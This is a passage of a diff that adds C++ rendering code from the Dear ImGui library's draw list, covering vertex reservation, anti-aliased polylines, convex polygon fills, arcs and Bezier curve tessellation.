ImDrawList::PushTextureID(ImTextureID texture_id) +{ + _TextureIdStack.push_back(texture_id); + _CmdHeader.TextureId = texture_id; + _OnChangedTextureID(); +} + +void ImDrawList::PopTextureID() +{ + _TextureIdStack.pop_back(); + _CmdHeader.TextureId = (_TextureIdStack.Size == 0) ? (ImTextureID)NULL : _TextureIdStack.Data[_TextureIdStack.Size - 1]; + _OnChangedTextureID(); +} + +// Reserve space for a number of vertices and indices. +// You must finish filling your reserved data before calling PrimReserve() again, as it may reallocate or +// submit the intermediate results. PrimUnreserve() can be used to release unused allocations. +void ImDrawList::PrimReserve(int idx_count, int vtx_count) +{ + // Large mesh support (when enabled) + IM_ASSERT_PARANOID(idx_count >= 0 && vtx_count >= 0); + if (sizeof(ImDrawIdx) == 2 && (_VtxCurrentIdx + vtx_count >= (1 << 16)) && (Flags & ImDrawListFlags_AllowVtxOffset)) + { + // FIXME: In theory we should be testing that vtx_count <64k here. + // In practice, RenderText() relies on reserving ahead for a worst case scenario so it is currently useful for us + // to not make that check until we rework the text functions to handle clipping and large horizontal lines better. + _CmdHeader.VtxOffset = VtxBuffer.Size; + _OnChangedVtxOffset(); + } + + ImDrawCmd* draw_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + draw_cmd->ElemCount += idx_count; + + int vtx_buffer_old_size = VtxBuffer.Size; + VtxBuffer.resize(vtx_buffer_old_size + vtx_count); + _VtxWritePtr = VtxBuffer.Data + vtx_buffer_old_size; + + int idx_buffer_old_size = IdxBuffer.Size; + IdxBuffer.resize(idx_buffer_old_size + idx_count); + _IdxWritePtr = IdxBuffer.Data + idx_buffer_old_size; +} + +// Release the a number of reserved vertices/indices from the end of the last reservation made with PrimReserve(). +void ImDrawList::PrimUnreserve(int idx_count, int vtx_count) +{ + IM_ASSERT_PARANOID(idx_count >= 0 && vtx_count >= 0); + + ImDrawCmd* draw_cmd = &CmdBuffer.Data[CmdBuffer.Size - 1]; + draw_cmd->ElemCount -= idx_count; + VtxBuffer.shrink(VtxBuffer.Size - vtx_count); + IdxBuffer.shrink(IdxBuffer.Size - idx_count); +} + +// Fully unrolled with inline call to keep our debug builds decently fast. +void ImDrawList::PrimRect(const ImVec2& a, const ImVec2& c, ImU32 col) +{ + ImVec2 b(c.x, a.y), d(a.x, c.y), uv(_Data->TexUvWhitePixel); + ImDrawIdx idx = (ImDrawIdx)_VtxCurrentIdx; + _IdxWritePtr[0] = idx; _IdxWritePtr[1] = (ImDrawIdx)(idx+1); _IdxWritePtr[2] = (ImDrawIdx)(idx+2); + _IdxWritePtr[3] = idx; _IdxWritePtr[4] = (ImDrawIdx)(idx+2); _IdxWritePtr[5] = (ImDrawIdx)(idx+3); + _VtxWritePtr[0].pos = a; _VtxWritePtr[0].uv = uv; _VtxWritePtr[0].col = col; + _VtxWritePtr[1].pos = b; _VtxWritePtr[1].uv = uv; _VtxWritePtr[1].col = col; + _VtxWritePtr[2].pos = c; _VtxWritePtr[2].uv = uv; _VtxWritePtr[2].col = col; + _VtxWritePtr[3].pos = d; _VtxWritePtr[3].uv = uv; _VtxWritePtr[3].col = col; + _VtxWritePtr += 4; + _VtxCurrentIdx += 4; + _IdxWritePtr += 6; +} + +void ImDrawList::PrimRectUV(const ImVec2& a, const ImVec2& c, const ImVec2& uv_a, const ImVec2& uv_c, ImU32 col) +{ + ImVec2 b(c.x, a.y), d(a.x, c.y), uv_b(uv_c.x, uv_a.y), uv_d(uv_a.x, uv_c.y); + ImDrawIdx idx = (ImDrawIdx)_VtxCurrentIdx; + _IdxWritePtr[0] = idx; _IdxWritePtr[1] = (ImDrawIdx)(idx+1); _IdxWritePtr[2] = (ImDrawIdx)(idx+2); + _IdxWritePtr[3] = idx; _IdxWritePtr[4] = (ImDrawIdx)(idx+2); _IdxWritePtr[5] = (ImDrawIdx)(idx+3); + _VtxWritePtr[0].pos = a; _VtxWritePtr[0].uv = uv_a; _VtxWritePtr[0].col = col; + _VtxWritePtr[1].pos = b; _VtxWritePtr[1].uv = uv_b; _VtxWritePtr[1].col = col; + _VtxWritePtr[2].pos = c; _VtxWritePtr[2].uv = uv_c; _VtxWritePtr[2].col = col; + _VtxWritePtr[3].pos = d; _VtxWritePtr[3].uv = uv_d; _VtxWritePtr[3].col = col; + _VtxWritePtr += 4; + _VtxCurrentIdx += 4; + _IdxWritePtr += 6; +} + +void ImDrawList::PrimQuadUV(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& d, const ImVec2& uv_a, const ImVec2& uv_b, const ImVec2& uv_c, const ImVec2& uv_d, ImU32 col) +{ + ImDrawIdx idx = (ImDrawIdx)_VtxCurrentIdx; + _IdxWritePtr[0] = idx; _IdxWritePtr[1] = (ImDrawIdx)(idx+1); _IdxWritePtr[2] = (ImDrawIdx)(idx+2); + _IdxWritePtr[3] = idx; _IdxWritePtr[4] = (ImDrawIdx)(idx+2); _IdxWritePtr[5] = (ImDrawIdx)(idx+3); + _VtxWritePtr[0].pos = a; _VtxWritePtr[0].uv = uv_a; _VtxWritePtr[0].col = col; + _VtxWritePtr[1].pos = b; _VtxWritePtr[1].uv = uv_b; _VtxWritePtr[1].col = col; + _VtxWritePtr[2].pos = c; _VtxWritePtr[2].uv = uv_c; _VtxWritePtr[2].col = col; + _VtxWritePtr[3].pos = d; _VtxWritePtr[3].uv = uv_d; _VtxWritePtr[3].col = col; + _VtxWritePtr += 4; + _VtxCurrentIdx += 4; + _IdxWritePtr += 6; +} + +// On AddPolyline() and AddConvexPolyFilled() we intentionally avoid using ImVec2 and superfluous function calls to optimize debug/non-inlined builds. +// Those macros expects l-values. +#define IM_NORMALIZE2F_OVER_ZERO(VX,VY) do { float d2 = VX*VX + VY*VY; if (d2 > 0.0f) { float inv_len = 1.0f / ImSqrt(d2); VX *= inv_len; VY *= inv_len; } } while (0) +#define IM_FIXNORMAL2F(VX,VY) do { float d2 = VX*VX + VY*VY; if (d2 < 0.5f) d2 = 0.5f; float inv_lensq = 1.0f / d2; VX *= inv_lensq; VY *= inv_lensq; } while (0) + +// TODO: Thickness anti-aliased lines cap are missing their AA fringe. +// We avoid using the ImVec2 math operators here to reduce cost to a minimum for debug/non-inlined builds. +void ImDrawList::AddPolyline(const ImVec2* points, const int points_count, ImU32 col, bool closed, float thickness) +{ + if (points_count < 2) + return; + + const ImVec2 opaque_uv = _Data->TexUvWhitePixel; + const int count = closed ? points_count : points_count - 1; // The number of line segments we need to draw + const bool thick_line = (thickness > 1.0f); + + if (Flags & ImDrawListFlags_AntiAliasedLines) + { + // Anti-aliased stroke + const float AA_SIZE = 1.0f; + const ImU32 col_trans = col & ~IM_COL32_A_MASK; + + // Thicknesses <1.0 should behave like thickness 1.0 + thickness = ImMax(thickness, 1.0f); + const int integer_thickness = (int)thickness; + const float fractional_thickness = thickness - integer_thickness; + + // Do we want to draw this line using a texture? + // - For now, only draw integer-width lines using textures to avoid issues with the way scaling occurs, could be improved. + // - If AA_SIZE is not 1.0f we cannot use the texture path. + const bool use_texture = (Flags & ImDrawListFlags_AntiAliasedLinesUseTex) && (integer_thickness < IM_DRAWLIST_TEX_LINES_WIDTH_MAX) && (fractional_thickness <= 0.00001f); + + // We should never hit this, because NewFrame() doesn't set ImDrawListFlags_AntiAliasedLinesUseTex unless ImFontAtlasFlags_NoBakedLines is off + IM_ASSERT_PARANOID(!use_texture || !(_Data->Font->ContainerAtlas->Flags & ImFontAtlasFlags_NoBakedLines)); + + const int idx_count = use_texture ? (count * 6) : (thick_line ? count * 18 : count * 12); + const int vtx_count = use_texture ? (points_count * 2) : (thick_line ? points_count * 4 : points_count * 3); + PrimReserve(idx_count, vtx_count); + + // Temporary buffer + // The first items are normals at each line point, then after that there are either 2 or 4 temp points for each line point + ImVec2* temp_normals = (ImVec2*)alloca(points_count * ((use_texture || !thick_line) ? 3 : 5) * sizeof(ImVec2)); //-V630 + ImVec2* temp_points = temp_normals + points_count; + + // Calculate normals (tangents) for each line segment + for (int i1 = 0; i1 < count; i1++) + { + const int i2 = (i1 + 1) == points_count ? 0 : i1 + 1; + float dx = points[i2].x - points[i1].x; + float dy = points[i2].y - points[i1].y; + IM_NORMALIZE2F_OVER_ZERO(dx, dy); + temp_normals[i1].x = dy; + temp_normals[i1].y = -dx; + } + if (!closed) + temp_normals[points_count - 1] = temp_normals[points_count - 2]; + + // If we are drawing a one-pixel-wide line without a texture, or a textured line of any width, we only need 2 or 3 vertices per point + if (use_texture || !thick_line) + { + // [PATH 1] Texture-based lines (thick or non-thick) + // [PATH 2] Non texture-based lines (non-thick) + + // The width of the geometry we need to draw - this is essentially pixels for the line itself, plus "one pixel" for AA. + // - In the texture-based path, we don't use AA_SIZE here because the +1 is tied to the generated texture + // (see ImFontAtlasBuildRenderLinesTexData() function), and so alternate values won't work without changes to that code. + // - In the non texture-based paths, we would allow AA_SIZE to potentially be != 1.0f with a patch (e.g. fringe_scale patch to + // allow scaling geometry while preserving one-screen-pixel AA fringe). + const float half_draw_size = use_texture ? ((thickness * 0.5f) + 1) : AA_SIZE; + + // If line is not closed, the first and last points need to be generated differently as there are no normals to blend + if (!closed) + { + temp_points[0] = points[0] + temp_normals[0] * half_draw_size; + temp_points[1] = points[0] - temp_normals[0] * half_draw_size; + temp_points[(points_count-1)*2+0] = points[points_count-1] + temp_normals[points_count-1] * half_draw_size; + temp_points[(points_count-1)*2+1] = points[points_count-1] - temp_normals[points_count-1] * half_draw_size; + } + + // Generate the indices to form a number of triangles for each line segment, and the vertices for the line edges + // This takes points n and n+1 and writes into n+1, with the first point in a closed line being generated from the final one (as n+1 wraps) + // FIXME-OPT: Merge the different loops, possibly remove the temporary buffer. + unsigned int idx1 = _VtxCurrentIdx; // Vertex index for start of line segment + for (int i1 = 0; i1 < count; i1++) // i1 is the first point of the line segment + { + const int i2 = (i1 + 1) == points_count ? 0 : i1 + 1; // i2 is the second point of the line segment + const unsigned int idx2 = ((i1 + 1) == points_count) ? _VtxCurrentIdx : (idx1 + (use_texture ? 2 : 3)); // Vertex index for end of segment + + // Average normals + float dm_x = (temp_normals[i1].x + temp_normals[i2].x) * 0.5f; + float dm_y = (temp_normals[i1].y + temp_normals[i2].y) * 0.5f; + IM_FIXNORMAL2F(dm_x, dm_y); + dm_x *= half_draw_size; // dm_x, dm_y are offset to the outer edge of the AA area + dm_y *= half_draw_size; + + // Add temporary vertexes for the outer edges + ImVec2* out_vtx = &temp_points[i2 * 2]; + out_vtx[0].x = points[i2].x + dm_x; + out_vtx[0].y = points[i2].y + dm_y; + out_vtx[1].x = points[i2].x - dm_x; + out_vtx[1].y = points[i2].y - dm_y; + + if (use_texture) + { + // Add indices for two triangles + _IdxWritePtr[0] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[1] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[2] = (ImDrawIdx)(idx1 + 1); // Right tri + _IdxWritePtr[3] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[4] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[5] = (ImDrawIdx)(idx2 + 0); // Left tri + _IdxWritePtr += 6; + } + else + { + // Add indexes for four triangles + _IdxWritePtr[0] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[1] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[2] = (ImDrawIdx)(idx1 + 2); // Right tri 1 + _IdxWritePtr[3] = (ImDrawIdx)(idx1 + 2); _IdxWritePtr[4] = (ImDrawIdx)(idx2 + 2); _IdxWritePtr[5] = (ImDrawIdx)(idx2 + 0); // Right tri 2 + _IdxWritePtr[6] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[7] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[8] = (ImDrawIdx)(idx1 + 0); // Left tri 1 + _IdxWritePtr[9] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[10] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[11] = (ImDrawIdx)(idx2 + 1); // Left tri 2 + _IdxWritePtr += 12; + } + + idx1 = idx2; + } + + // Add vertexes for each point on the line + if (use_texture) + { + // If we're using textures we only need to emit the left/right edge vertices + ImVec4 tex_uvs = _Data->TexUvLines[integer_thickness]; + /*if (fractional_thickness != 0.0f) // Currently always zero when use_texture==false! + { + const ImVec4 tex_uvs_1 = _Data->TexUvLines[integer_thickness + 1]; + tex_uvs.x = tex_uvs.x + (tex_uvs_1.x - tex_uvs.x) * fractional_thickness; // inlined ImLerp() + tex_uvs.y = tex_uvs.y + (tex_uvs_1.y - tex_uvs.y) * fractional_thickness; + tex_uvs.z = tex_uvs.z + (tex_uvs_1.z - tex_uvs.z) * fractional_thickness; + tex_uvs.w = tex_uvs.w + (tex_uvs_1.w - tex_uvs.w) * fractional_thickness; + }*/ + ImVec2 tex_uv0(tex_uvs.x, tex_uvs.y); + ImVec2 tex_uv1(tex_uvs.z, tex_uvs.w); + for (int i = 0; i < points_count; i++) + { + _VtxWritePtr[0].pos = temp_points[i * 2 + 0]; _VtxWritePtr[0].uv = tex_uv0; _VtxWritePtr[0].col = col; // Left-side outer edge + _VtxWritePtr[1].pos = temp_points[i * 2 + 1]; _VtxWritePtr[1].uv = tex_uv1; _VtxWritePtr[1].col = col; // Right-side outer edge + _VtxWritePtr += 2; + } + } + else + { + // If we're not using a texture, we need the center vertex as well + for (int i = 0; i < points_count; i++) + { + _VtxWritePtr[0].pos = points[i]; _VtxWritePtr[0].uv = opaque_uv; _VtxWritePtr[0].col = col; // Center of line + _VtxWritePtr[1].pos = temp_points[i * 2 + 0]; _VtxWritePtr[1].uv = opaque_uv; _VtxWritePtr[1].col = col_trans; // Left-side outer edge + _VtxWritePtr[2].pos = temp_points[i * 2 + 1]; _VtxWritePtr[2].uv = opaque_uv; _VtxWritePtr[2].col = col_trans; // Right-side outer edge + _VtxWritePtr += 3; + } + } + } + else + { + // [PATH 2] Non texture-based lines (thick): we need to draw the solid line core and thus require four vertices per point + const float half_inner_thickness = (thickness - AA_SIZE) * 0.5f; + + // If line is not closed, the first and last points need to be generated differently as there are no normals to blend + if (!closed) + { + const int points_last = points_count - 1; + temp_points[0] = points[0] + temp_normals[0] * (half_inner_thickness + AA_SIZE); + temp_points[1] = points[0] + temp_normals[0] * (half_inner_thickness); + temp_points[2] = points[0] - temp_normals[0] * (half_inner_thickness); + temp_points[3] = points[0] - temp_normals[0] * (half_inner_thickness + AA_SIZE); + temp_points[points_last * 4 + 0] = points[points_last] + temp_normals[points_last] * (half_inner_thickness + AA_SIZE); + temp_points[points_last * 4 + 1] = points[points_last] + temp_normals[points_last] * (half_inner_thickness); + temp_points[points_last * 4 + 2] = points[points_last] - temp_normals[points_last] * (half_inner_thickness); + temp_points[points_last * 4 + 3] = points[points_last] - temp_normals[points_last] * (half_inner_thickness + AA_SIZE); + } + + // Generate the indices to form a number of triangles for each line segment, and the vertices for the line edges + // This takes points n and n+1 and writes into n+1, with the first point in a closed line being generated from the final one (as n+1 wraps) + // FIXME-OPT: Merge the different loops, possibly remove the temporary buffer. + unsigned int idx1 = _VtxCurrentIdx; // Vertex index for start of line segment + for (int i1 = 0; i1 < count; i1++) // i1 is the first point of the line segment + { + const int i2 = (i1 + 1) == points_count ? 0 : (i1 + 1); // i2 is the second point of the line segment + const unsigned int idx2 = (i1 + 1) == points_count ? _VtxCurrentIdx : (idx1 + 4); // Vertex index for end of segment + + // Average normals + float dm_x = (temp_normals[i1].x + temp_normals[i2].x) * 0.5f; + float dm_y = (temp_normals[i1].y + temp_normals[i2].y) * 0.5f; + IM_FIXNORMAL2F(dm_x, dm_y); + float dm_out_x = dm_x * (half_inner_thickness + AA_SIZE); + float dm_out_y = dm_y * (half_inner_thickness + AA_SIZE); + float dm_in_x = dm_x * half_inner_thickness; + float dm_in_y = dm_y * half_inner_thickness; + + // Add temporary vertices + ImVec2* out_vtx = &temp_points[i2 * 4]; + out_vtx[0].x = points[i2].x + dm_out_x; + out_vtx[0].y = points[i2].y + dm_out_y; + out_vtx[1].x = points[i2].x + dm_in_x; + out_vtx[1].y = points[i2].y + dm_in_y; + out_vtx[2].x = points[i2].x - dm_in_x; + out_vtx[2].y = points[i2].y - dm_in_y; + out_vtx[3].x = points[i2].x - dm_out_x; + out_vtx[3].y = points[i2].y - dm_out_y; + + // Add indexes + _IdxWritePtr[0] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[1] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[2] = (ImDrawIdx)(idx1 + 2); + _IdxWritePtr[3] = (ImDrawIdx)(idx1 + 2); _IdxWritePtr[4] = (ImDrawIdx)(idx2 + 2); _IdxWritePtr[5] = (ImDrawIdx)(idx2 + 1); + _IdxWritePtr[6] = (ImDrawIdx)(idx2 + 1); _IdxWritePtr[7] = (ImDrawIdx)(idx1 + 1); _IdxWritePtr[8] = (ImDrawIdx)(idx1 + 0); + _IdxWritePtr[9] = (ImDrawIdx)(idx1 + 0); _IdxWritePtr[10] = (ImDrawIdx)(idx2 + 0); _IdxWritePtr[11] = (ImDrawIdx)(idx2 + 1); + _IdxWritePtr[12] = (ImDrawIdx)(idx2 + 2); _IdxWritePtr[13] = (ImDrawIdx)(idx1 + 2); _IdxWritePtr[14] = (ImDrawIdx)(idx1 + 3); + _IdxWritePtr[15] = (ImDrawIdx)(idx1 + 3); _IdxWritePtr[16] = (ImDrawIdx)(idx2 + 3); _IdxWritePtr[17] = (ImDrawIdx)(idx2 + 2); + _IdxWritePtr += 18; + + idx1 = idx2; + } + + // Add vertices + for (int i = 0; i < points_count; i++) + { + _VtxWritePtr[0].pos = temp_points[i * 4 + 0]; _VtxWritePtr[0].uv = opaque_uv; _VtxWritePtr[0].col = col_trans; + _VtxWritePtr[1].pos = temp_points[i * 4 + 1]; _VtxWritePtr[1].uv = opaque_uv; _VtxWritePtr[1].col = col; + _VtxWritePtr[2].pos = temp_points[i * 4 + 2]; _VtxWritePtr[2].uv = opaque_uv; _VtxWritePtr[2].col = col; + _VtxWritePtr[3].pos = temp_points[i * 4 + 3]; _VtxWritePtr[3].uv = opaque_uv; _VtxWritePtr[3].col = col_trans; + _VtxWritePtr += 4; + } + } + _VtxCurrentIdx += (ImDrawIdx)vtx_count; + } + else + { + // [PATH 4] Non texture-based, Non anti-aliased lines + const int idx_count = count * 6; + const int vtx_count = count * 4; // FIXME-OPT: Not sharing edges + PrimReserve(idx_count, vtx_count); + + for (int i1 = 0; i1 < count; i1++) + { + const int i2 = (i1 + 1) == points_count ? 0 : i1 + 1; + const ImVec2& p1 = points[i1]; + const ImVec2& p2 = points[i2]; + + float dx = p2.x - p1.x; + float dy = p2.y - p1.y; + IM_NORMALIZE2F_OVER_ZERO(dx, dy); + dx *= (thickness * 0.5f); + dy *= (thickness * 0.5f); + + _VtxWritePtr[0].pos.x = p1.x + dy; _VtxWritePtr[0].pos.y = p1.y - dx; _VtxWritePtr[0].uv = opaque_uv; _VtxWritePtr[0].col = col; + _VtxWritePtr[1].pos.x = p2.x + dy; _VtxWritePtr[1].pos.y = p2.y - dx; _VtxWritePtr[1].uv = opaque_uv; _VtxWritePtr[1].col = col; + _VtxWritePtr[2].pos.x = p2.x - dy; _VtxWritePtr[2].pos.y = p2.y + dx; _VtxWritePtr[2].uv = opaque_uv; _VtxWritePtr[2].col = col; + _VtxWritePtr[3].pos.x = p1.x - dy; _VtxWritePtr[3].pos.y = p1.y + dx; _VtxWritePtr[3].uv = opaque_uv; _VtxWritePtr[3].col = col; + _VtxWritePtr += 4; + + _IdxWritePtr[0] = (ImDrawIdx)(_VtxCurrentIdx); _IdxWritePtr[1] = (ImDrawIdx)(_VtxCurrentIdx + 1); _IdxWritePtr[2] = (ImDrawIdx)(_VtxCurrentIdx + 2); + _IdxWritePtr[3] = (ImDrawIdx)(_VtxCurrentIdx); _IdxWritePtr[4] = (ImDrawIdx)(_VtxCurrentIdx + 2); _IdxWritePtr[5] = (ImDrawIdx)(_VtxCurrentIdx + 3); + _IdxWritePtr += 6; + _VtxCurrentIdx += 4; + } + } +} + +// We intentionally avoid using ImVec2 and its math operators here to reduce cost to a minimum for debug/non-inlined builds. +void ImDrawList::AddConvexPolyFilled(const ImVec2* points, const int points_count, ImU32 col) +{ + if (points_count < 3) + return; + + const ImVec2 uv = _Data->TexUvWhitePixel; + + if (Flags & ImDrawListFlags_AntiAliasedFill) + { + // Anti-aliased Fill + const float AA_SIZE = 1.0f; + const ImU32 col_trans = col & ~IM_COL32_A_MASK; + const int idx_count = (points_count - 2)*3 + points_count * 6; + const int vtx_count = (points_count * 2); + PrimReserve(idx_count, vtx_count); + + // Add indexes for fill + unsigned int vtx_inner_idx = _VtxCurrentIdx; + unsigned int vtx_outer_idx = _VtxCurrentIdx + 1; + for (int i = 2; i < points_count; i++) + { + _IdxWritePtr[0] = (ImDrawIdx)(vtx_inner_idx); _IdxWritePtr[1] = (ImDrawIdx)(vtx_inner_idx + ((i - 1) << 1)); _IdxWritePtr[2] = (ImDrawIdx)(vtx_inner_idx + (i << 1)); + _IdxWritePtr += 3; + } + + // Compute normals + ImVec2* temp_normals = (ImVec2*)alloca(points_count * sizeof(ImVec2)); //-V630 + for (int i0 = points_count - 1, i1 = 0; i1 < points_count; i0 = i1++) + { + const ImVec2& p0 = points[i0]; + const ImVec2& p1 = points[i1]; + float dx = p1.x - p0.x; + float dy = p1.y - p0.y; + IM_NORMALIZE2F_OVER_ZERO(dx, dy); + temp_normals[i0].x = dy; + temp_normals[i0].y = -dx; + } + + for (int i0 = points_count - 1, i1 = 0; i1 < points_count; i0 = i1++) + { + // Average normals + const ImVec2& n0 = temp_normals[i0]; + const ImVec2& n1 = temp_normals[i1]; + float dm_x = (n0.x + n1.x) * 0.5f; + float dm_y = (n0.y + n1.y) * 0.5f; + IM_FIXNORMAL2F(dm_x, dm_y); + dm_x *= AA_SIZE * 0.5f; + dm_y *= AA_SIZE * 0.5f; + + // Add vertices + _VtxWritePtr[0].pos.x = (points[i1].x - dm_x); _VtxWritePtr[0].pos.y = (points[i1].y - dm_y); _VtxWritePtr[0].uv = uv; _VtxWritePtr[0].col = col; // Inner + _VtxWritePtr[1].pos.x = (points[i1].x + dm_x); _VtxWritePtr[1].pos.y = (points[i1].y + dm_y); _VtxWritePtr[1].uv = uv; _VtxWritePtr[1].col = col_trans; // Outer + _VtxWritePtr += 2; + + // Add indexes for fringes + _IdxWritePtr[0] = (ImDrawIdx)(vtx_inner_idx + (i1 << 1)); _IdxWritePtr[1] = (ImDrawIdx)(vtx_inner_idx + (i0 << 1)); _IdxWritePtr[2] = (ImDrawIdx)(vtx_outer_idx + (i0 << 1)); + _IdxWritePtr[3] = (ImDrawIdx)(vtx_outer_idx + (i0 << 1)); _IdxWritePtr[4] = (ImDrawIdx)(vtx_outer_idx + (i1 << 1)); _IdxWritePtr[5] = (ImDrawIdx)(vtx_inner_idx + (i1 << 1)); + _IdxWritePtr += 6; + } + _VtxCurrentIdx += (ImDrawIdx)vtx_count; + } + else + { + // Non Anti-aliased Fill + const int idx_count = (points_count - 2)*3; + const int vtx_count = points_count; + PrimReserve(idx_count, vtx_count); + for (int i = 0; i < vtx_count; i++) + { + _VtxWritePtr[0].pos = points[i]; _VtxWritePtr[0].uv = uv; _VtxWritePtr[0].col = col; + _VtxWritePtr++; + } + for (int i = 2; i < points_count; i++) + { + _IdxWritePtr[0] = (ImDrawIdx)(_VtxCurrentIdx); _IdxWritePtr[1] = (ImDrawIdx)(_VtxCurrentIdx + i - 1); _IdxWritePtr[2] = (ImDrawIdx)(_VtxCurrentIdx + i); + _IdxWritePtr += 3; + } + _VtxCurrentIdx += (ImDrawIdx)vtx_count; + } +} + +void ImDrawList::PathArcToFast(const ImVec2& center, float radius, int a_min_of_12, int a_max_of_12) +{ + if (radius == 0.0f || a_min_of_12 > a_max_of_12) + { + _Path.push_back(center); + return; + } + + // For legacy reason the PathArcToFast() always takes angles where 2*PI is represented by 12, + // but it is possible to set IM_DRAWLIST_ARCFAST_TESSELATION_MULTIPLIER to a higher value. This should compile to a no-op otherwise. +#if IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER != 1 + a_min_of_12 *= IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER; + a_max_of_12 *= IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER; +#endif + + _Path.reserve(_Path.Size + (a_max_of_12 - a_min_of_12 + 1)); + for (int a = a_min_of_12; a <= a_max_of_12; a++) + { + const ImVec2& c = _Data->ArcFastVtx[a % IM_ARRAYSIZE(_Data->ArcFastVtx)]; + _Path.push_back(ImVec2(center.x + c.x * radius, center.y + c.y * radius)); + } +} + +void ImDrawList::PathArcTo(const ImVec2& center, float radius, float a_min, float a_max, int num_segments) +{ + if (radius == 0.0f) + { + _Path.push_back(center); + return; + } + + // Note that we are adding a point at both a_min and a_max. + // If you are trying to draw a full closed circle you don't want the overlapping points! + _Path.reserve(_Path.Size + (num_segments + 1)); + for (int i = 0; i <= num_segments; i++) + { + const float a = a_min + ((float)i / (float)num_segments) * (a_max - a_min); + _Path.push_back(ImVec2(center.x + ImCos(a) * radius, center.y + ImSin(a) * radius)); + } +} + +ImVec2 ImBezierCubicCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, float t) +{ + float u = 1.0f - t; + float w1 = u * u * u; + float w2 = 3 * u * u * t; + float w3 = 3 * u * t * t; + float w4 = t * t * t; + return ImVec2(w1 * p1.x + w2 * p2.x + w3 * p3.x + w4 * p4.x, w1 * p1.y + w2 * p2.y + w3 * p3.y + w4 * p4.y); +} + +ImVec2 ImBezierQuadraticCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, float t) +{ + float u = 1.0f - t; + float w1 = u * u; + float w2 = 2 * u * t; + float w3 = t * t; + return ImVec2(w1 * p1.x + w2 * p2.x + w3 * p3.x, w1 * p1.y + w2 * p2.y + w3 * p3.y); +} + +// Closely mimics ImBezierCubicClosestPointCasteljau() in imgui.cpp +static void PathBezierCubicCurveToCasteljau(ImVector* path, float x1, float y1, float x2, float y2, float x3, float y3, float x4, float y4, float tess_tol, int level) +{ + float dx = x4 - x1; + float dy = y4 - y1; + float d2 = (x2 - x4) * dy - (y2 - y4) * dx; + float d3 = (x3 - x4) * dy - (y3 - y4) * dx; + d2 = (d2 >= 0) ? d2 : -d2; + d3 = (d3 >= 0) ? d3 : -d3; + if ((d2 + d3) * (d2 + d3) < tess_tol * (dx * dx + dy * dy)) + { + path->push_back(ImVec2(x4, y4)); + } + else if (level < 10) + { + float x12 = (x1 + x2) * 0.5f, y12 = (y1 + y2) * 0.5f; + float x23 = (x2 + x3) * 0.5f, y23 = (y2 + y3) * 0.5f; + float x34 = (x3 + x4) * 0.5f, y34 = (y3 + y4) * 0.5f; + float x123 = (x12 + x23) * 0.5f, y123 = (y12 + y23) * 0.5f; + float x234 = (x23 + x34) * 0.5f, y234 = (y23 + y34) * 0.5f; + float x1234 = (x123 + x234) * 0.5f, y1234 = (y123 + y234) * 0.5f; + PathBezierCubicCurveToCasteljau(path, x1, y1, x12, y12, x123, y123, x1234, y1234, tess_tol, level + 1); + PathBezierCubicCurveToCasteljau(path, x1234, y1234, x234, y234, x34, y34, x4, y4, tess_tol, level + 1); + } +} + +static void PathBezierQuadraticCurveToCasteljau(ImVector* path, float x1, float y1, float x2, float y2, float x3, float y3, float tess_tol, int level) +{ + float dx = x3 - x1, dy = y3 - y1; + float det = (x2 - x3) * dy - (y2 - y3) * dx; + if (det * det * 4.0f < tess_tol * (dx * dx + dy * dy)) + { + path->push_back(ImVec2(x3, y3)); + } + else if (level < 10) + { + float x12 = (x1 + x2) * 0.5f, y12 = (y1 + y2) * 0.5f; + float x23 = (x2 + x3) * 0.5f, y23 = (y2 + y3) * 0.5f; + float x123 = (x12 + x23) * 0.5f, y123 = (y12 + y23) * 0.5f; + PathBezierQuadraticCurveToCasteljau(path, x1, y1, x12, y12, x123, y123, tess_tol, level + 1); + PathBezierQuadraticCurveToCasteljau(path, x123, y123, x23, y23, x3, y3, tess_tol, level + 1); + } +} + +void ImDrawList::PathBezierCubicCurveTo(const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, int num_segments) +{ + ImVec2 p1 = _Path.back(); + if (num_segments == 0) + { + PathBezierCubicCurveToCasteljau(&_Path, p1.x, p1.y, p2.x, p2.y, p3.x, p3.y, p4.x, p4.y, _Data->CurveTessellationTol, 0); // Auto-tessellated + } + else + { + float t_step = 1.0f / (float)num_segments; + for (int i_step = 1; i_step <= num_segments; i_step++) + _Path.push_back(ImBezierCubicCalc(p1, p2, p3, p4, t_step * i_step)); + } +} + +void ImDrawList::PathBezierQuadraticCurveTo(const ImVec2& p2, const ImVec2& p3, int num_segments) +{ + ImVec2 p1 = _Path.back(); + if (num_segments == 0) + { + PathBezierQuadraticCurveToCasteljau(&_Path, p1.x, p1.y, p2.x, p2.y, p3.x, p3.y, _Data->CurveTessellationTol, 0);// Auto-tessellated + } + else + { + float t_step = 1.0f / (float)num_segments; + for (int i_step = 1; i_step <= num_segments; i_step++) + _Path.push_back(ImBezierQuadraticCalc(p1, p2, p3, t_step * i_step)); + } +} + +void ImDrawList::PathRect(const ImVec2& a, const ImVec2& b, float rounding, ImDrawCornerFlags rounding_corners) +{ + rounding = ImMin(rounding, ImFabs(b.x - a.x) * ( ((rounding_corners & ImDrawCornerFlags_Top) == ImDrawCornerFlags_Top) || ((rounding_corners & ImDrawCornerFlags_Bot) == ImDrawCornerFlags_Bot) ? 0.5f : 1.0f ) - 1.0f); + rounding = ImMin(rounding, ImFabs(b.y - a.y) * ( ((rounding_corners & ImDrawCornerFlags_Left) == ImDrawCornerFlags_Left) || ((rounding_corners & ImDrawCornerFlags_Right) == 